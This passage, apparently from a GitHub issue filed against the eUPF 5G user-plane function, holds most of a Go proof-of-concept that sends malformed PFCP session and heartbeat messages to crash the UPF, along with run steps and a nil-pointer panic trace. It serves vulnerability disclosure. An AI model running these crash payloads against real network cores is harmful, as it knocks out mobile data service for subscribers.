        return nil, fmt.Errorf("message too short")
    }

    // Determine message type from header
    messageType := (msgBytes[0] >> 4) & 0x0F

    // Skip PFCP message header (4 bytes)
    // Message structure:
    // - Session Establishment Request (type 50): 4 (header) + 8 (SEID) + 4 (Sequence) = 16
    // - Heartbeat Request/Response (type 1/2): 4 (header) + 3 (Sequence) + 1 (Spare) = 8
    // - Association Setup Request (type 5): 4 (header) + 3 (Sequence) + 1 (Spare) = 8
    pos := 8               // Default for most messages (after header + sequence)
    if messageType == 50 { // Session Establishment Request
        pos = 16
    } else if messageType == 1 || messageType == 2 { // Heartbeat Request/Response
        pos = 8 // 4 (header) + 3 (sequence) + 1 (spare)
    } else if messageType == 5 { // Association Setup Request
        pos = 8 // 4 (header) + 3 (sequence) + 1 (spare)
    } else {
        // For other messages, try to detect structure
        if len(msgBytes) >= 12 {
            // Check if byte 0 has S flag set (bit 0)
            // S flag indicates presence of SEID (Session messages)
            if (msgBytes[0] & 0x01) != 0 {
                pos = 16 // Has SEID (4 header + 8 SEID + 4 sequence)
            } else {
                pos = 8 // No SEID (4 header + 3 sequence + 1 spare)
            }
        }
    }

    log.Printf("[hex] Message type: %d, starting IE search at position %d", messageType, pos)

    var ieStart, ieEnd int = -1, -1

    log.Printf("[hex] Searching for IE type 0x%04x in message (length: %d bytes)", ieTypeToRemove, len(msgBytes))

    for pos < len(msgBytes)-4 {
        if pos+4 > len(msgBytes) {
            break
        }

        ieType := binary.BigEndian.Uint16(msgBytes[pos : pos+2])
        ieLength := uint16(msgBytes[pos+2])<<8 | uint16(msgBytes[pos+3])

        // Validate IE length
        if ieLength > 10000 || pos+4+int(ieLength) > len(msgBytes) {
            log.Printf("[hex] Invalid IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)
            break
        }

        log.Printf("[hex] IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)

        if ieType == ieTypeToRemove {
            ieStart = pos
            ieEnd = pos + 4 + int(ieLength)
            log.Printf("[hex] Found IE type 0x%04x at position %d, length: %d", ieTypeToRemove, pos, ieLength)
            break
        }

        pos += 4 + int(ieLength)
        if pos > len(msgBytes) {
            break
        }
    }

    if ieStart == -1 {
        log.Printf("[hex] ERROR: IE type 0x%04x not found in message", ieTypeToRemove)
        log.Printf("[hex] Searched from position %d to %d", 4, len(msgBytes))
        return nil, fmt.Errorf("IE type 0x%04x not found in message", ieTypeToRemove)
    }

    // Remove the IE
    result := make([]byte, 0, len(msgBytes)-(ieEnd-ieStart))
    result = append(result, msgBytes[:ieStart]...)
    result = append(result, msgBytes[ieEnd:]...)

    // Update message length in header (bytes 2-3)
    // Message length field is the length of the message excluding the first 4 bytes (header)
    oldMsgLength := binary.BigEndian.Uint16(msgBytes[2:4])
    newMsgLength := oldMsgLength - uint16(ieEnd-ieStart)
    binary.BigEndian.PutUint16(result[2:4], newMsgLength)

    log.Printf("[hex] Removed IE type 0x%04x, message length field: %d -> %d bytes", ieTypeToRemove, oldMsgLength, newMsgLength)
    log.Printf("[hex] Actual message size: %d -> %d bytes", len(msgBytes), len(result))

    return result, nil
}

// waitForHeartbeatTimeout establishes an association and then idles to let eUPF's heartbeat watchdog prune it.
// This targets pfcp_connection.go:DeleteAssociation to ensure it can handle missing entries gracefully.
func waitForHeartbeatTimeout(conn *net.UDPConn, seqGen *seqGenerator, msgCh <-chan message.Message, errCh <-chan error, nodeID string) error {
    log.Printf("[hb-timeout] Establishing association and waiting for heartbeat retries to expire...")
    if err := performAssociation(conn, seqGen, msgCh, errCh, nodeID, true); err != nil {
        return fmt.Errorf("association handshake failed: %w", err)
    }
    // Wait longer than HeartbeatRetries * HeartbeatInterval (defaults 3 * 5s).
    waitDuration := 20 * time.Second
    log.Printf("[hb-timeout] Sleeping for %s to let heartbeat scheduler run...", waitDuration)
    time.Sleep(waitDuration)
    log.Printf("[hb-timeout] Woke up; check eUPF logs for DeleteAssociation behavior.")
    return nil
}

func main() {
    mode := flag.String("mode", modeSessionInvalidApply, strings.Join([]string{
        "POC attack mode:",
        fmt.Sprintf("  - %s", modeSessionInvalidApply),
        fmt.Sprintf("  - %s", modeSessionFARIPv4FlagNil),
        fmt.Sprintf("  - %s", modeHeartbeatRequestMissingRecovery),
        fmt.Sprintf("  - %s", modeHeartbeatResponseMissingRecovery),
    }, "\n"))
    host := flag.String("host", "127.0.0.1", "eUPF PFCP address")
    port := flag.Int("port", 8805, "eUPF PFCP port")
    bind := flag.String("bind", "127.0.0.2", "local source IP (attacker PFCP address)")
    dnn := flag.String("dnn", "internet", "DNN to include when crafting valid PDRs")
    wait := flag.Duration("wait", defaultAssociationRetrySleep, "delay between association and exploit payload")
    flag.Parse()

    remoteAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *host, *port))
    if err != nil {
        log.Fatalf("resolve remote: %v", err)
    }

    localIP := net.ParseIP(*bind)
    if localIP == nil {
        log.Fatalf("invalid bind IP: %s", *bind)
    }
    localAddr := &net.UDPAddr{IP: localIP, Port: 0}

    log.Printf("Attempting to connect to eUPF at %s from %s", remoteAddr.String(), localIP.String())

    // Test connectivity first - try without binding to specific local IP
    testConn, err := net.DialUDP("udp", nil, remoteAddr)
    if err != nil {
        log.Printf("WARNING: Cannot establish UDP connection to %s: %v", remoteAddr.String(), err)
        log.Printf("")
        log.Printf("Diagnostic information:")
        log.Printf("  - Target: %s:%d", *host, *port)
        log.Printf("  - Local bind IP: %s", *bind)
        log.Printf("")
        log.Printf("Troubleshooting steps:")
        log.Printf("  1. If eUPF is in Docker, try using 127.0.0.1 instead:")
        log.Printf("     go run eupf_crash.go -mode %s -host 127.0.0.1 -port 8805 -bind 127.0.0.2", *mode)
        log.Printf("")
        log.Printf("  2. Check if eUPF is running:")
        log.Printf("     ps aux | grep eupf")
        log.Printf("     docker ps | grep eupf")
        log.Printf("")
        log.Printf("  3. Check if port is listening:")
        log.Printf("     netstat -tuln | grep %d", *port)
        log.Printf("     ss -tuln | grep %d", *port)
        log.Printf("")
        log.Printf("  4. Check Docker port mapping:")
        log.Printf("     docker ps --format 'table {{.Names}}\t{{.Ports}}' | grep 8805")
        log.Printf("")
        log.Printf("  5. Test connectivity:")
        log.Printf("     nc -zuv %s %d", *host, *port)
        log.Printf("")
        log.Fatalf("Connection test failed: %v", err)
    }
    testConn.Close()
    log.Printf("Connection test successful!")

    conn, err := net.DialUDP("udp", localAddr, remoteAddr)
    if err != nil {
        log.Fatalf("dial udp: %v", err)
    }
    defer conn.Close()

    msgCh, errCh, cancel := startReceiver(conn)
    defer cancel()

    seqGen := &seqGenerator{}

    log.Printf("Remote eUPF target: %s", remoteAddr.String())
    log.Printf("Local PFCP source: %s", conn.LocalAddr().String())
    log.Printf("Running mode: %s", *mode)
    log.Printf("")

    switch *mode {
    case modeSessionInvalidApply:
        // Try to establish association, but continue even if it fails
        _ = performAssociation(conn, seqGen, msgCh, errCh, *bind, true)
        time.Sleep(*wait)
        log.Printf("[poc] Sending exploit payload (ApplyAction array out of bounds)...")
        if err := sendSessionInvalidApplyAction(conn, seqGen, localIP, *bind, *dnn); err != nil {
            log.Fatalf("send malformed session establishment request (empty ApplyAction): %v", err)
        }
    case modeSessionApplyActionRaw:
        _ = performAssociation(conn, seqGen, msgCh, errCh, *bind, true)
        time.Sleep(*wait)
        log.Printf("[poc] Sending raw ApplyAction payload (length 0)...")
        if err := sendSessionApplyActionRaw(conn, seqGen, localIP, *bind, *dnn); err != nil {
            log.Fatalf("send session establishment request (raw ApplyAction): %v", err)
        }
    case modeSessionFARIPv4FlagNil:
        // Try to establish association, but continue even if it fails
        _ = performAssociation(conn, seqGen, msgCh, errCh, *bind, true)
        time.Sleep(*wait)
        log.Printf("[poc] Sending exploit payload (OuterHeaderCreation IPv4Address nil)...")
        if err := sendSessionFARIPv4FlagNil(conn, seqGen, localIP, *bind, *dnn); err != nil {
            log.Fatalf("send malformed session establishment request (FAR IPv4 flag nil): %v", err)
        }
    case modeSessionOuterHeaderRaw:
        _ = performAssociation(conn, seqGen, msgCh, errCh, *bind, true)
        time.Sleep(*wait)
        log.Printf("[poc] Sending raw OuterHeaderCreation (IPv4 flag without IPv4 address)...")
        if err := sendSessionOuterHeaderRaw(conn, seqGen, localIP, *bind, *dnn); err != nil {
            log.Fatalf("send session establishment request (raw OuterHeaderCreation): %v", err)
        }
    case modeSessionMalformedSDFFilter:
        _ = performAssociation(conn, seqGen, msgCh, errCh, *bind, true)
        time.Sleep(*wait)
        log.Printf("[poc] Sending malformed SDF Filter (missing address)...")
        if err := sendSessionMalformedSDFFilter(conn, seqGen, localIP, *bind, *dnn); err != nil {
            log.Fatalf("send session establishment request (malformed SDF Filter): %v", err)
        }
    case modeHeartbeatRequestMissingRecovery:
        // HeartbeatRequest doesn't require association
        if err := sendHeartbeatRequestMissingRecovery(conn, seqGen); err != nil {
            log.Fatalf("send malformed heartbeat request (missing RecoveryTimeStamp): %v", err)
        }
    case modeHeartbeatResponseMissingRecovery:
        // HeartbeatResponse typically requires eUPF to send HeartbeatRequest first
        // But we can still send it directly
        if err := sendHeartbeatResponseMissingRecovery(conn, seqGen); err != nil {
            log.Fatalf("send malformed heartbeat response (missing RecoveryTimeStamp): %v", err)
        }
    case modeAssociationHeartbeatTimeout:
        if err := waitForHeartbeatTimeout(conn, seqGen, msgCh, errCh, *bind); err != nil {
            log.Fatalf("heartbeat timeout sequence failed: %v", err)
        }
    default:
        log.Fatalf("unknown mode: %s", *mode)
    }

    log.Printf("")
    log.Printf("Payload delivered. Observe eUPF logs for panic stack traces.")
}



  1. Download required libraries: go mod tidy
  2. Run the program with the UPF PFCP server address: go run ./main.go -mode session-outerheader-raw -host 127.0.0.1 -port 8805 -bind 127.0.0.2

Expected behavior
The UPF should validate OHC presence and length before use. When the OHC has the V4 flag set, it must also include a 4-byte IPv4Address; if missing or truncated, the message should be rejected or ignored gracefully (e.g., return a Session Establishment Response with an appropriate Cause, or discard and log a warning).

Screenshots

Image

Logs

2025/11/12 10:35:57 INF running on 0.0.0.0:9090
2025/11/12 10:35:57 INF running on 0.0.0.0:8080
2025/11/12 10:36:00 INF Got Association Setup Request from: 127.0.0.2
2025/11/12 10:36:00 INF 
Association Setup Request:
  Node ID: 127.0.0.2
  Recovery Time: 2025-11-12 10:36:00 +0000 UTC

2025/11/12 10:36:00 INF Saving new association: &{ID:127.0.0.2 Addr:127.0.0.2 NextSessionID:1 NextSequenceID:1 Sessions:map[] HeartbeatChannel:0xc0002660c0 HeartbeatsActive:false Mutex:{state:0 sema:0}}
2025/11/12 10:36:00 INF Got Session Establishment Request from: 127.0.0.2.
2025/11/12 10:36:00 INF 
Session Establishment Request:
  CreatePDR ID: 20 
    FAR ID: 20 
    Source Interface: 0 
  CreateFAR ID: 20 
    Apply Action: [2] 
    Forwarding Parameters:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0xb2390b]

goroutine 24 [running]:
github.com/edgecomllc/eupf/cmd/core.composeFarInfo(0xc0000a53c0, {0x2, 0x0, 0x0, 0x0, 0x0})
        /app/cmd/core/pfcp_session_handlers.go:587 +0xeb
github.com/edgecomllc/eupf/cmd/core.HandlePfcpSessionEstablishmentRequest.func1(0xc0004a3b80?, 0xc0004a3b80, 0xc0004c55f0, 0xc0004e1c68, 0xc0004e1bc0)
        /app/cmd/core/pfcp_session_handlers.go:49 +0x174
github.com/edgecomllc/eupf/cmd/core.HandlePfcpSessionEstablishmentRequest(0xc00019a380, {0x100ddc0, 0xc0004a3b80}, {0xc00042ef50, 0x9})
        /app/cmd/core/pfcp_session_handlers.go:120 +0x525
github.com/edgecomllc/eupf/cmd/core.PfcpHandlerMap.Handle(0xc00009a540, 0xc00019a380, {0xc00023a000, 0x8a, 0x5dc}, 0xc0000b6a80)
        /app/cmd/core/pfcp_handlers.go:29 +0x2b1
github.com/edgecomllc/eupf/cmd/core.(*PfcpConnection).Handle(0x1ed1560?, {0xc00023a000?, 0x0?, 0xc0004e1f78?}, 0x0?)
        /app/cmd/core/pfcp_connection.go:150 +0x32
github.com/edgecomllc/eupf/cmd/core.(*PfcpConnection).Run(0xc00019a380)
        /app/cmd/core/pfcp_connection.go:136 +0x2cf
created by main.main in goroutine 1
        /app/cmd/main.go:103 +0xcfe

Environment (please complete the following information):

  • OS: Ubuntu 24.04
  • 5GC kind and version: None
  • UPF version: a8d774a

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type
No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions